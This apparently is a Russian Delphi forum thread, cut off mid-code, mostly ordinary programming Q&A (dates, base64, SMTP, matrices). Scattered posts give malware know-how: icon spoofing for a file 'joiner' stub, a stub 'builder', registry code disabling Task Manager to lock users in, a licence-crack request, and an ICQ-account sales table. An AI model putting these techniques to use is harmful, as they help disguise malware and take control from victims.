[Joker-jar]

FormatDateTime('dddd, d-mmm-yy h:mm:ss',Date+Time) возвращает дату по-русски. Как сделать чтоб данная функция всегда возвращала дату по-английски?

[z01b]

FormatDateTime('dddd, d-mmm-yy h:mm:ss',Date+Time) возвращает дату по-русски. Как сделать чтоб данная функция всегда возвращала дату по-английски?
Это можно настроить, читай )
http://www.delphisources.ru/pages/faq/faq_delphi_basics/FormatDateTime.php.html

[GlOFF]

FormatDateTime('dddd, d-mmm-yy h:mm:ss',Date+Time) возвращает дату по-русски. Как сделать чтоб данная функция всегда возвращала дату по-английски?

А ещё можно получить вот так:

VOID GetSystemTime(

LPSYSTEMTIME lpSystemTime // address of system time structure
);

typedef struct _SYSTEMTIME { // st
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME;

Members

wYear

Specifies the current year.

wMonth

Specifies the current month; January = 1, February = 2, and so on.

wDayOfWeek

Specifies the current day of the week; Sunday = 0, Monday = 1, and so on.

wDay

Specifies the current day of the month.

wHour

Specifies the current hour.

wMinute

Specifies the current minute.

wSecond

Specifies the current second.

wMilliseconds

Specifies the current millisecond.


т.е. wMonth -> January = 1, February = 2, and so on.
Создашь массив с именами месяцев Array(January, February, ....) и дней ...

Получаем нужное название месяца = Array[wMonth];

[Ni0x]

GlOFF, GetSystemTime насколько я знаю возвращает время по Гринвичу, оно будет отличаться от твоего времени, чтобы получить время своего часового пояса используйте GetLocalTime.

[Joker-jar]

Ок, разобралса

[Xserg]

Ок, разобралса
Можно на Delphi
procedure SetLocaleFormatSettings(land:dword);
var i:dword;
fs:TFormatSettings;
begin
GetLocaleFormatSettings(land,fs);
for i:=1 to 7 do begin
ShortDayNames[i]:=fs.ShortDayNames[i];
LongDayNames[i]:=fs.LongDayNames[i];
end;
for i:=1 to 12 do begin
ShortMonthNames[i]:=fs.ShortMonthNames[i];
LongMonthNames[i]:=fs.LongMonthNames[i];
end;
end;

var s:string;
begin
SetLocaleFormatSettings(LANG_ENGLISH);
s:=FormatDateTime('dddd, d-mmm-yy h:mm:ss',Date+Time);
SetLocaleFormatSettings(LANG_RUSSIAN);
s:=FormatDateTime('dddd, d-mmm-yy h:mm:ss',Date+Time);

[A2GIL]

Подскажите пожалуйста: как созданному файлу, иконку изменить программно?

[W!z@rD]

Resourse Hacker
ResExplorer
Resourse Tuner
Restorator

[GlOFF]

W!z@rD Это НЕ программно! Это руками на руками большее похоже. Хотя можно с собой тоскать эту тулзину и через командную строку править ресурсы!
A2GIL Я как понел иконку нужно для ДЖОЙНЕРА ;)

http://slil.ru/24868464 - Модуль на Delphi для работы с ресурсами.

[Joker-jar]

Иконку файлу изменяют в реестре... А программе - мутят с его ресурсами

[GlOFF]

Подскажите пожалуйста: как созданному файлу, иконку изменить программно?

Для джойнера только в ресурсы исполняемого файла добавлять иконки, чтобы при просмотре в проводнике или аналогичном файловом менеджере, иконка файла выглядела как нам нужно!

[A2GIL]

Да, Gloff это для джойнера! Уже модернизировал, но вот с иконкой никак не получается! Я уже наверное до ручки дошел, что в голове никак не укладывается как это сделать! Получется нужно править ресурсы стаба? Тогда каким образом это отразится на проводнике, ведь файл то нужно предварительно запустить?!

[GlOFF]

A2GIL http://slil.ru/24868464 - Модуль на Delphi для работы с ресурсами.

Нужно в ресурсы стаба добавить ресурс иконки и все! :)

[Killerkod]

А почему через ресторатор нельзя? Ведь через него для созданного файла легче всего сменить иконку...

[Mkey]

как получить список дочерних процессов чужого приложения?
для win2000-XP
желательно с примером кода....

[byblik]

Нужен исходник желательно паскаль(консоль делфи) Ищет определитель матрицы, любого порядка, рекурсия. Сам плохо знаю программирование, учусь тока, написал до 4 порядка, без рекурсии. Никак немогу придумать, как же всетаки с рекурсией написать да и чтоб любого порядка можно было посчитать. Буду благадарен если кто даст исходник, если можно в ПМ.

[Xserg]

как получить список дочерних процессов чужого приложения?
для win2000-XP
желательно с примером кода....
program kill;
uses windows,classes,SysUtils;
const TH32CS_SNAPPROCESS =$02;
function CreateToolhelp32Snapshot(dwFlags:DWORD;th32Process ID:DWORD):dword;stdcall
external 'Kernel32.dll' name 'CreateToolhelp32Snapshot';
type PROCESSENTRY32=record
dwSize: dword;
cntUsage :DWORD;
th32ProcessID :DWORD;
th32DefaultHeapID :pointer;
th32ModuleID :DWORD;
cntThreads: DWORD;
th32ParentProcessID:DWORD;
pcPriClassBase :longint;
dwFlags :DWORD;
szExeFile:array[0..MAX_PATH] of CHAR;
end;
function Process32First(hSnapshot:DWORD;ENTRY32:pointer):bo olean;stdcall
external 'Kernel32.dll' name 'Process32First';
function Process32Next(hSnapshot:DWORD;ENTRY32:pointer):boo lean;stdcall
external 'Kernel32.dll' name 'Process32Next';

var
st:STARTUPINFO;
pi:PROCESS_INFORMATION;
zp:cardinal;
nproc:cardinal;
pn:PROCESSENTRY32;
begin
// находим ID EXPLORER
zp:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ;
pn.dwSize:=sizeof(pn);
Process32First(Zp,@pn);
while Process32Next(Zp,@pn) do
if lstrcmpiA(pn.szExeFile,'EXPLORER.EXE') = 0 then begin
nproc:=pn.th32ProcessID;break;
end;
closehandle(zp);

// кто его дети ? (EXPLORER.EXE)
zp:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ;
pn.dwSize:=sizeof(pn);
Process32First(Zp,@pn);
while Process32Next(Zp,@pn) do
if pn.th32ParentProcessID=nproc then
messagebox(0,pn.szExeFile,Pansichar('Pid='+inttohe x(pn.th32ProcessID,4)),0);
closehandle(zp);

// чей мы ребенок ?
zp:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0) ;
pn.dwSize:=sizeof(pn);
Process32First(Zp,@pn);
while Process32Next(Zp,@pn) do
if pn.th32ProcessID=GetCurrentProcessId then begin
messagebox(0,pn.szExeFile,Pansichar('Pid='+inttohe x(pn.th32ParentProcessID,4)),0);
//убиваем нашего родителя
zeromemory(@st,sizeof(st));
st.cb:=sizeof(st);
CreateProcess(nil,Pansichar('taskkill.exe /PID '+inttostr(pn.th32ParentProcessID)),nil,nil,true,0 ,nil,nil,st,pi);
end;
closehandle(zp);
end.

[Mkey]

ща попробую...

[Mkey]

Xserg - спасибище!!!... 2й раз выручаешь.... + поставить не дают... готов отблагодарить материально 50рЭ на твою мобилу положу с удовольствием....
в PM номер скинь....

[Joker-jar]

byblik, смотри, набросал что-то. Вроде считает, оптимизируй только

{$APPTYPE CONSOLE}

type
TMatrix =
record
size: integer;
data: array of array of integer;
end;

var
m: TMatrix;

function Minor(matrix: TMatrix; i,j: integer): TMatrix;
var
a,b,a1,b1: integer;
begin
a1 := -1;
b1 := -1;
result.size := matrix.size - 1;
setlength(result.data, result.size, result.size);
for a := 0 to result.size do
begin
if a=i then
continue
else
inc(a1);
for b := 0 to result.size do
begin
if b = j then
continue
else
if b - b1 > 1 then
inc(b1)
else
b1 := 0;
result.data[a1,b1] := matrix.data[a,b];
end;
end;
end;

function Determ(matrix: TMatrix): integer;
var
i: integer;
begin
result := 0;
if matrix.size = 2 then
result := (matrix.data[0,0]*matrix.data[1,1]) - (matrix.data[0,1]*matrix.data[1,0])
else
begin
for i := 0 to matrix.size - 1 do
if odd(i+1) then
result := result + matrix.data[i,0]*Determ(Minor(matrix,i,0))
else
result := result - matrix.data[i,0]*Determ(Minor(matrix,i,0));
end;
end;

begin
m.size := 3;
setlength(m.data,3,3);
m.data[0,0] := 2;
m.data[0,1] := 4;
m.data[0,2] := -1;
m.data[1,0] := -1;
m.data[1,1] := 3;
m.data[1,2] := 2;
m.data[2,0] := 3;
m.data[2,1] := 2;
m.data[2,2] := -2;
writeln(Determ(m));
readln;
end.

[Tid0Wlas]

Такая проблема, у меня есть окно оно должно быть поверх всех окон. Это легко:
form1.FormStyle := fsStayOnTop;
Что бы размеры изменять было нельзя:
form1.BorderStyle := bsSingle;
Нужно сделать, что бы мышкой можно было работать тока в окне, ну это легко:
var cr : TRect;
…..
cr := Rect(form1.Left,form1.Top,(form1.ClientWidth+form1 .Left), (form1.ClientHeight+form1.Top+25));
clipcursor(@cr);
Вот вопрос, как сделать, чтобы окно нельзя было двигать и оно всегда было активным, при нажатии на CTRL+ALT+DEL или CTL+SHIFT+ESC, или вообще, как отключить кнопки CTRL, ALT, WIND… Вообщем нужно сделать так чтобы пользователь работал только с моим окном и больше не с чем, чтобы вернуться в нормальную среду можно было нажимая крестик на форме(кнопку close). Это для меня очень важно! Буду благодарен, если подскажете.

[Exile1985]

..........
Вот вопрос, как сделать, чтобы окно нельзя было двигать и оно всегда было активным, при нажатии на CTRL+ALT+DEL или CTL+SHIFT+ESC, или вообще, как отключить кнопки CTRL, ALT, WIND… Вообщем нужно сделать так чтобы пользователь работал только с моим окном и больше не с чем, чтобы вернуться в нормальную среду можно было нажимая крестик на форме(кнопку close). Это для меня очень важно! Буду благодарен, если подскажете.



Блокируем перемещение окна:

private
procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST;

{....}

procedure TForm1.WMNCHitTest(var Message: TWMNCHitTest);
begin
inherited;

with Message do
begin
if Result = HTCAPTION then
Result := HTNOWHERE;
end;
end;


а тут откл диспетчер задач:
//Откл.
procedure TForm1.Button2Click(Sender: TObject);
var
reg: tregistry;
begin
reg:=treginifile.create();
with reg do
begin
rootkey:=hkey_current_user;
openkey('software\microsoft\windows\currentversion \
policies\system', true);
writeinteger('disabletaskmgr', 1);
free;
end;
end;


//включить
procedure TForm1.Button1Click(Sender: TObject);
var
reg: tregistry;
begin
reg:=treginifile.create();
with reg do
begin
rootkey:=hkey_current_user;
openkey('software\microsoft\windows\currentversion \
policies\system', true);
writeinteger('disabletaskmgr', 0);
free;
end;
end;


еще можешь тут (http://articles.org.ru/cfaq/index.php?qid=2359&frommostrecent=yes) почитать, я думаю найдешь как остальное отключить :)

[zer0c0o1]

Как выполнить авторизацию не меняя руками постоянно куки? вот с таким хедером:

================================================== =======
GET /client/images/1.gif HTTP/1.0
Accept: */*
Referer: http://192.168.0.1/client/client.php
Accept-Language: ru
Cookie: какие-то куки
If-Modified-Since: Sat, 22 Nov 2006 19:18:01 GMT; length=43
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)
Host: 192.168.0.1
Authorization: Basic dXBzdHB1czo0OTQyMzE=
Connection: Keep-Alive
================================================== =======


Пробую вот так но приходиться менять куки

Код:
================================================== =======
idhttp1.Request.BasicAuthentication:=true;
idhttp1.Request.Username:='name';
idhttp1.Request.Password:='pass';
str:=de.Get('http://192.168.0.1/client/client.php');
В свойствах Request в CustomHead указываю куки
================================================== =======

[Joker-jar]

А что там в куках постоянно меняется?

[zer0c0o1]

зчначения login_attempts= и PHPSESSID=

[ZirroCool]

Вопрос такой!
Как сделать билдер?
Где об этом можно почитать и есть ли подробные мануалы?
Спасибо!

[Krey]

Вопрос такой!
Как сделать билдер?
Где об этом можно почитать и есть ли подробные мануалы?
Спасибо!
Компилиш ехе в дельфи той проги которую хочеш чтобы билдер потом делал, создаеш билдер (вернее конфигуратор) засовываеш тот самый файлик к нему в ресурсы, конфигуратор при запуске выбрасывает ехе а что делать дальше написано в замечательной статье которая лежит на этом форуме, забей в поиск "Конфигуратор" и найдеш в статьях интересующий тебя материал.

[ZirroCool]

на самом деле если ввести в поиске конфигуратор то выдает статьи на си++ а мне то нужно на дельфях,ну да ладно просто даже найденная статья на самом деле бред,причем откоментированный учасникаи форума!Так что вопрос остается в силе!Кто в силах,просьба помочь!
зы.весь гугль перерыл ничего путевого не нашел...

[PandoraBox]

Кто работал с компонентом VirtualDrawTree (http://www.soft-gems.net/index.php?option=com_content&task=view&id=30&Itemid=35) помогите плиз нада прорисовать в 6 колонок текст а потом записать это в файл (кроме колонки тип)
__________________________________________________ _______________
| Номер(UIN) | Тип Length(UIN) | Пароль(UIN) | Привязаный Email | Пароль Email | Цена |

type
BaseConf = record
....
CountList: boolean; //количество строк
....
end;
// колонки
PBaseRec = ^TBaseRec;
TBaseRec = packed record
Number: Integer; // UIN
Password, PM, PM_Password: WideString; // пароль от UIN , Привязаный Email, Пароль
Money: Extended; // Цена
end;

[5p4x2kn3t]

Задача: если программа находится не там, где надо,
то она записывает свое местонахождение в реестр
и выключается. Если она там, где надо, то
она смотрит в реестр и, обнаружив местонахождение
такой старой программы, удаляет ее. 1-я часть работает,
но 2-я - нет, почему?

procedure OnInvalidFilename;
var
key : HKEY;
buffer : array [0..1000] of char;
Size : Integer;
begin
if ParamStr(0) = ProgramFileName then
begin
//Начало неработающего куска
//Если программа там, где нужно
if RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\delete', key) = ERROR_SUCCESS then
begin
RegQueryValue(key, 'delete', @buffer, Size);
Size := SizeOf(buffer);
RegDeleteKey(key, 'delete');
RegCloseKey(key);
end;
if buffer <> '' then
DeleteFile(buffer);
//Узнаем, где старая и удаляем
//конец неработающего куска
end
else
begin
//Иначе сообщаем где она
if RegCreateKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\delete', key) = error_success then
begin
RegSetValueEx(key, PChar('delete'), 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) + 1);
RegCloseKey(key);
end;
//И выходим
IsExit := true;
end;
end;

[W!z@rD]

procedure OnInvalidFilename;
var
key : HKEY;
buffer : array [0..1000] of char;
Size : Integer;
begin
//возможно ProgramFileName передает неверные данные...
if ParamStr(0) = ProgramFileName then
begin
//Начало неработающего куска
//Если программа там, где нужно
if RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\delete', key) = ERROR_SUCCESS then
begin
RegQueryValue(key, 'delete', @buffer, Size);
Size := SizeOf(buffer);
//это вообще как понять? мб стоит поменять строки местами?
RegDeleteKey(key, 'delete');
RegCloseKey(key);
end;
if buffer <> '' then
//buffer это массив...
DeleteFile(buffer);
//Узнаем, где старая и удаляем
//конец неработающего куска
end
else
begin
//Иначе сообщаем где она
if RegCreateKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\delete', key) = error_success then
begin
RegSetValueEx(key, PChar('delete'), 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) + 1);
RegCloseKey(key);
end;
//И выходим
IsExit := true;
end;
end;
[/QUOTE]

[Killerkod]

Я знаю что как это делается в уме и на бумаге... Но не могу перевести это все в процедуру... Вот Например такая процедура будет:
procedure TForm1.Button1Click(Sender: TObject);
begin

end;
Вот как сделать чтоб при нажатии кнопки, число взятое из Edit1 преобразовалось в двоичный код и вывелось в Edit2?


Или может для этого есть определенная функция, типа StrToInt...

[zl0y]

Я знаю что как это делается в уме и на бумаге... Но не могу перевести это все в процедуру... Вот Например такая процедура будет:
procedure TForm1.Button1Click(Sender: TObject);
begin

end;
Вот как сделать чтоб при нажатии кнопки, число взятое из Edit1 преобразовалось в двоичный код и вывелось в Edit2?


Или может для этого есть определенная функция, типа StrToInt...
Что то типа Edit2.Text:=HexToBin(IntTostr(Edit1.Text));

Процедуру HexToBin сам найдеш в инете...

[MegaBits]

Помогите сделать процедуру обработки ошибки введения, тоесть (не цифрового значения кроме клавиши BackSpace).
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin

end;

Это надо сделать таким образом чтоб присвоить Key:=#0

[Joker-jar]

if not (Key in [#8,'0'..'9']) then Key := #0;

[5p4x2kn3t]

2W!z@rD:
Проблема решена, спасибо за ответ (хотя ошибка была не только в том, что после долгого debug'a я начинаю путать строки) =)

[Exile1985]

Я знаю что как это делается в уме и на бумаге... Но не могу перевести это все в процедуру... Вот Например такая процедура будет:
procedure TForm1.Button1Click(Sender: TObject);
begin

end;
Вот как сделать чтоб при нажатии кнопки, число взятое из Edit1 преобразовалось в двоичный код и вывелось в Edit2?


Или может для этого есть определенная функция, типа StrToInt...

procedure TForm1.Button1Click(Sender: TObject);
begin

end;
Код нечитабелен, но компилиться аху***но
:D :D :D

Эх юмористы мля....вот код:
//Из десятичной в двоичную
procedure TForm1.Button2Click(Sender: TObject);
var
number:cardinal;
begin
number:=strtoint(Edit1.text);
Edit1.text:='';
repeat
if number mod 2 = 1 then
Edit1.text:='1'+Edit1.text
else
Edit1.text:='0'+Edit1.text;
number:=number div 2;
until
number = 0;
end;

//из двоичной в десятичную
procedure TForm1.Button1Click(Sender: TObject);
var
i,p: cardinal;
begin
p:=0;
for i:=1 to length(Edit1.text) do
begin
p:=p*2;
if Edit1.text[i] = '1' then
p:=p+1
else if Edit1.text[i] <> '0' then
ShowMessage('Ошибка преобразования');
end;
Edit1.text:=inttostr(p);
end;
end.

[QtQDuck]

Вопрос:
Кто может залить IdSSLIntercept.dcu?
А то у мну нема
=)

[W!z@rD]

Вопрос:
Кто может залить IdSSLIntercept.dcu?
А то у мну нема
=)

если я правильно понял (англ.)... то нужно снизить до indy 8
читать тут (http://mailman.jabber.org/pipermail/jdev/2002-December/014316.html)

[QtQDuck]

если я правильно понял (англ.)... то нужно снизить до indy 8
читать тут (http://mailman.jabber.org/pipermail/jdev/2002-December/014316.html)

Как-нить поточнее можно?
Гугл рулит.....)*

[t04]

Как можно зашифровать файл в Base64 и разшифровать из Base64?

[z01b]

Как можно зашифровать файл в Base64 и разшифровать из Base64?
Вот рабочая base64 ф-ция
А как зашифровать файл, не знаю, а простое открытье, пробовал?
http://slil.ru/25003150

[Ch3ck]

http://www.delphisources.ru/pages/sources/raznoe/2006_year/base64.html
http://www.delphisources.ru/pages/sources/raznoe/2006_year/file_shifrator.html

[<Zodiac>]

Помогите пожалуйста, скажите как отправить письмо через WinSock c аттачментом. Я уже все пробовал даже то, что здесь нашел. Ничего не выходит! У кого получилось или есть рабочий вариант, дайте пожалуйста. Огромный плюс тому кто реально поможет:)
P.S. Если можно, то покажите на примере с левыми мылами :rolleyes:

[t04]

<Zodiac>,
Вчера утром тоже задался этим вопросом.
Результат >> уже сегодня вечером написал функцию.

[ЗЫ: Долго думаю, так что не суди строго]

вот ссылки которые помогут тебе:
http://wasm.ru/article.php?article=simplesmtp
http://www.delphisources.ru/pages/sources/raznoe/2006_year/base64.html
http://www.delphisources.ru/pages/sources/raznoe/2006_year/file_shifrator.html

[<Zodiac>]

<Zodiac>,
Вчера утром тоже задался этим вопросом.
Результат >> уже сегодня вечером написал функцию.

[ЗЫ: Долго думаю, так что не суди строго]

вот ссылки которые помогут тебе:
http://wasm.ru/article.php?article=simplesmtp
http://www.delphisources.ru/pages/sources/raznoe/2006_year/base64.html
http://www.delphisources.ru/pages/sources/raznoe/2006_year/file_shifrator.html

t04, Спасибо что откликнулся. Тот исходник, что на, асме он пашет, но проблема в том, что я не знаю ассемблера! :( Если у тебя есть вариант на Delphi дай плз :rolleyes:

[W!z@rD]

base64


function Decode(const S: AnsiString): AnsiString;
const
Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0);
var
I: LongInt;
begin
case Length(S) of
2:
begin
I := Map[S[1]] + (Map[S[2]] shl 6);
SetLength(Result, 1);
Move(I, Result[1], Length(Result))
end;
3:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
SetLength(Result, 2);
Move(I, Result[1], Length(Result))
end;
4:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
(Map[S[4]] shl 18);
SetLength(Result, 3);
Move(I, Result[1], Length(Result))
end
end
end;

function Encode(const S: AnsiString): AnsiString;
const
Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
'abcdefghijklmnopqrstuvwxyz0123456789+/';
var
I: LongInt;
begin
I := 0;
Move(S[1], I, Length(S));
case Length(S) of
1:
Result := Map[I mod 64] + Map[(I shr 6) mod 64];
2:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64];
3:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
end
end;


сколько можно говорить: Drkb.ru, DelphiWorld.narod.ru

[<Zodiac>]

Проблема состоит не в шифровке данных с помощью base64. Нужен код на отправку письма с аттачментом через WinSock. Те примеры, что в инете валяются не работают :(

Вот вариант, который я использую. Посмотрите пожалуйста и скажите в чем трабл (как сделать так, чтобы Pupkin2 остался довольным :) ):


uses WinSock

....

function LookupName(host: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(host));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;

function GetComputerNetName: string;
var
buffer: array[0..255] of char;
size: dword;
begin
size := 256;
if GetComputerName(buffer, size) then
Result := buffer
else
Result := ''
end;

procedure SMTPSendString(MailSocket:TSocket;Str:string);
var
Buffer:Array[0..255] of char;
begin
StrPCopy(Buffer,Str);
Send(MailSocket,Buffer,length(Str),0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
WSA:TWSAData;
MailSocket:TSocket;
SMTPServer:TSockAddr;
begin
WSAStartup(MAKEWORD(1,0),WSA);
MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP );
ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
SMTPServer.sin_family:=AF_INET;
SMTPServer.sin_port:=htons(25);
SMTPServer.sin_addr:=LookupName('smtp.mail.ru');
if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))= 0 then
begin
SMTPSendString(mailsocket,'HELO '+ GetComputerNetName + CTRLF);
SMTPSendString(mailsocket,'AUTH LOGIN ' + CTRLF + b64encode('Pupkin1') + CTRLF + b64encode('password') + CTRLF);
SMTPSendString(mailsocket,'MAIL FROM:' + 'Pupkin1@mail.ru' + CTRLF + 'RCPT TO:' + 'Pupkin2@mail.ru' + CTRLF);
SMTPSendString(mailsocket,'DATA' + CTRLF + 'From: "' + 'Pupkin1' + '" <' + 'Pupkin1@mail.ru' + '>' + CTRLF + 'To: "' + 'Pupkin2' + '" <' + 'Pupkin2@mail.ru' + '>' + CTRLF + 'Subject: ' + 'TESTING' + CTRLF);
SMTPSendString(mailsocket,'DONE!!!!'+CTRLF);
SMTPSendString(mailsocket,CTRLF+'.'+CTRLF+CTRLF+'Q UIT');
end
else
ShowMessage('ERROR');
CloseSocket(MailSocket);
WSACleanup;
end;

[t04]

ты что, хочешь чтобы тебе на тарелочке с голубой каемочкой функцию выложили? ты сам попотей, я как раз выложил ссылки не на готовое, а на теорию. там на асме как раз таки и не реализован аттач, но теоретически вроде все доходчиво. почитай, кодирование в бейс64 в двух последних ссылках.

зы я кстати тоже асм не знаю и писал на делфи.

зыы здорово выручил снифер для написания последних штрихов и связывания обрывков кода в единое целое.

к стати, где то тут (на форуме) натыкался на модуль для отправки писем с аттачем, кажись в разделе с полезными модулями, попробуй поискать.

[<Zodiac>]

Я с тем, что ты мне дал на асме разобрался и как аттачмент отправить и все такое. Но мне нужно реализовать все на Delphi и никак не получается! Я те же самые коменды через telnet задовал - получается, а программно нет! Вот и прошу помочь! Может я где в сокетах ошибся?!
Я итак юзаю все возможные варианты, и те полезные модули смотрел (то, что выше это я их упрощал). НЕ РАБОТАЕТ! :rolleyes:

[<Zodiac>]

Все сегодня сам разобрался со всем, теперь работает! Вопрос закрыт. t04, все равно спасибо за исходники асма, они чуть помогли:)

[GroM88]

Кароче ребята вопрос может не по теме ,но всётаки !!
Может кто знает как можно лицензионный ключ узнать к программе ,возможно ли её перепрограмировать ?
Просто когда я открываю программу она выбивает введите лицензионный ключ !!!
А когда закрываю это окно то и программа полностью закрывается!
ПРОСТО ключик к этой проге стоит оч много бабла!

[Killerkod]

Найди кряк или серийник... Гугль тебе в помощь!

[Exile1985]

Кароче ребята вопрос может не по теме ,но всётаки !!
Может кто знает как можно лицензионный ключ узнать к программе ,возможно ли её перепрограмировать ?
Просто когда я открываю программу она выбивает введите лицензионный ключ !!!
А когда закрываю это окно то и программа полностью закрывается!
ПРОСТО ключик к этой проге стоит оч много бабла!

Ты щас сам понял что написал???
Ты попробуй подумать что нужно написать в посте если тебе нужен ключ от проги???

отвечать на вапрос не буду так как он задан не корректно, нет названия проги к которой нужен ключ, сам подумай защита может любая стоять и никто тебе не че не скажет т.к. не на что отвечать.


единственное..... на счет перепограммировать, дизасемблер тебе в руки, если тебе это о чем нить говорит.

[G1yuK]

GroM88 тебе в тему реверсинг надо, а не программирования
http://forum.antichat.ru/forum94.html

[Inf]

Подскажите кто-нить нубу , как иконку добавить к программе? ы :)

[darckmilord]

Запускаешь Дельфи, нажимаешь Shift+Ctrl+F11 в появившемся окне переходишь на закладку Application нажимаешь кнопку Load Icon и выбираешь че те надо, потом жмешь окей.

[darckmilord]

Доброго Всем времени суток. У меня такой вопрос, как с компилировать файл ресурсов с гиф анимациями. Как сделать тоже самое с бмп ико и другима стандартными для борланда я знаю а скомпилить гифы в файл ресурсов не могу.

Теперь в качстве отступления объясню причину вставки. Это необходимо для вставки в RxRichEdit для этого пользуюсь таким кодом взятым с дельфисоурса


var
frmMain: TfrmMain;

implementation

{$R *.DFM}
{$R Smiley.res}

uses RichEdit;

type TEditStreamCallBack = function(dwCookie: Longint; pbBuff: PByte; cb: Longint; var pcb: Longint): DWORD; stdcall;

TEditStream = record dwCookie: Longint; dwError: Longint; pfnCallback: TEditStreamCallBack;

end;

type TMyRichEdit = TRxRichEdit;

// EditStreamInCallback callback function

function EditStreamInCallback(dwCookie: Longint; pbBuff: PByte; cb: Longint; var pcb: Longint): DWORD; stdcall;

var

theStream: TStream;
dataAvail: LongInt;

begin

theStream := TStream(dwCookie);
with theStream do
begin
dataAvail := Size - Position;
Result := 0;
if dataAvail <= cb then
begin
pcb := read(pbBuff^, dataAvail);
if pcb <> dataAvail then
Result := UINT(E_FAIL);
end
else
begin
pcb := read(pbBuff^, cb);
if pcb <> cb then
Result := UINT(E_FAIL);
end;
end;
end;

// Insert Stream into RichEdit

procedure PutRTFSelection(RichEdit: TMyRichEdit; SourceStream: TStream);

var

EditStream: TEditStream;

begin
with EditStream do
begin
dwCookie := Longint(SourceStream);
dwError := 0;
pfnCallback := EditStreamInCallBack;
end;
RichEdit.Perform(EM_STREAMIN, SF_RTF or SFF_SELECTION, Longint(@EditStream));
end;

// Load a smiley image from resource

function GetSmileyCode(ASimily: string): string;

var

dHandle: THandle;
pData, pTemp: PChar;
Size: Longint;

begin

pData := nil;
dHandle := FindResource(hInstance, PChar(ASimily), RT_RCDATA);
if dHandle <> 0 then
begin Size := SizeofResource(hInstance, dHandle); dhandle := LoadResource(hInstance, dHandle);
if dHandle <> 0 then
try
pData := Resource(dHandle);
if pData <> nil then
try
if pData[Size - 1] = #0 then
begin
Result := StrPas(pTemp);
end
else
begin
pTemp := StrAlloc(Size + 1);
try
StrMove(pTemp, pData, Size);
pTemp[Size] := #0;
Result := StrPas(pTemp);
finally
StrDispose(pTemp);
end;
end;
finally
UnlockResource(dHandle);
end;
finally
FreeResource(dHandle);
end;
end;
end;

procedure InsertSmiley(ASmiley: string);

var ms: TMemoryStream; s: string;

begin

ms := TMemoryStream.Create;
try
s := GetSmileyCode(ASmiley);
if s <> '' then
begin
ms.Seek(0, soFromEnd);
ms.Write(PChar(s)^, Length(s));
ms.Position := 0;
PutRTFSelection(frmMain.RXRichedit1, ms);
end;
finally
ms.Free;
end;
end;

procedure TfrmMain.SpeedButton1Click(Sender: TObject);
begin
InsertSmiley('Smiley1');
end;

procedure TfrmMain.SpeedButton2Click(Sender: TObject);
begin
InsertSmiley('Smiley2');
end;

// Replace a :-) or :-( with a corresponding smiley

procedure TfrmMain.RxRichEdit1KeyPress(Sender: TObject; var Key: Char);

var sCode, SmileyName: string;

procedure RemoveText(RichEdit: TMyRichEdit);
begin
with RichEdit do
begin
SelStart := SelStart - 2;
SelLength := 2;
SelText := '';
end;
end;
begin If (Key = ')') or (Key = '(') then
begin
sCode := Copy(RxRichEdit1.Text, RxRichEdit1.SelStart-1, 2) + Key;
SmileyName := '';
